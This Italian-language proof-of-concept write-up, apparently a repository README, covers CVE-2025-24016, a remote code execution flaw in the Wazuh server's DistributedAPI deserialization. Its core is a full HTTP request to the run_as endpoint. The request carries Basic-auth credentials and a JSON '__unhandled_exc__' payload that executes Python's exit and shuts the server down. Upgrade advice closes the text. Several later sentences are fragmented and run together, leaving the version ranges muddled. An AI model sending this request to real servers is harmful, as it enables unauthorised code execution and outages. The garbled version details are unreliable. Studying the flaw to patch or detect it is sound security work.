
CVE-2025-24016: RCE nel server Wazuh! Esecuzione di codice remoto
Questo repository dimostra la vulnerabilità di esecuzione remota di codice (RCE) nel server Wazuh, introdotta da una deserializzazione non sicura nel pacchetto wazuh-manager. La vulnerabilità consente ad attaccanti remoti con accesso API (dashboard compromessa, server Wazuh nel cluster o determinate configurazioni con agenti compromessi) di eseguire codice arbitrario sul server.
wazuh-manager versione >= 4.4.0>= 4.9.1La vulnerabilità si verifica nell'API Wazuh, dove i parametri in DistributedAPI vengono serializzati come JSON e deserializzati utilizzando as_wazuh_object nel file framework/wazuh/core/cluster/common.py. Un attaccante può sfruttare questa vulnerabilità iniettando un dizionario non sanificato nelle richieste DAPI, il che può portare alla valutazione di codice Python arbitrario.
La RCE può essere innescata utilizzando l'endpoint run_as, che consente all'attaccante di controllare l'argomento auth_context. Creando una richiesta dannosa, è possibile eseguire codice arbitrario sul server master.
Per innescare questa vulnerabilità utilizzando l'API del server, seguire i passaggi riportati di seguito.
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}

wazuh-wui:MyS3cr37P450r.*-).__unhandled_exc__ che innesca l'esecuzione di codice Python arbitrario (exit in questo caso).>= 4.4.0 fino alla 4.9.0 (non ancora patchata).exit, causando lo spegnimento del server Wazuh.Per proteggere i propri sistemi, aggiornare a Wazuh versione >= 4.9.1 dove questo problema è stato corretto.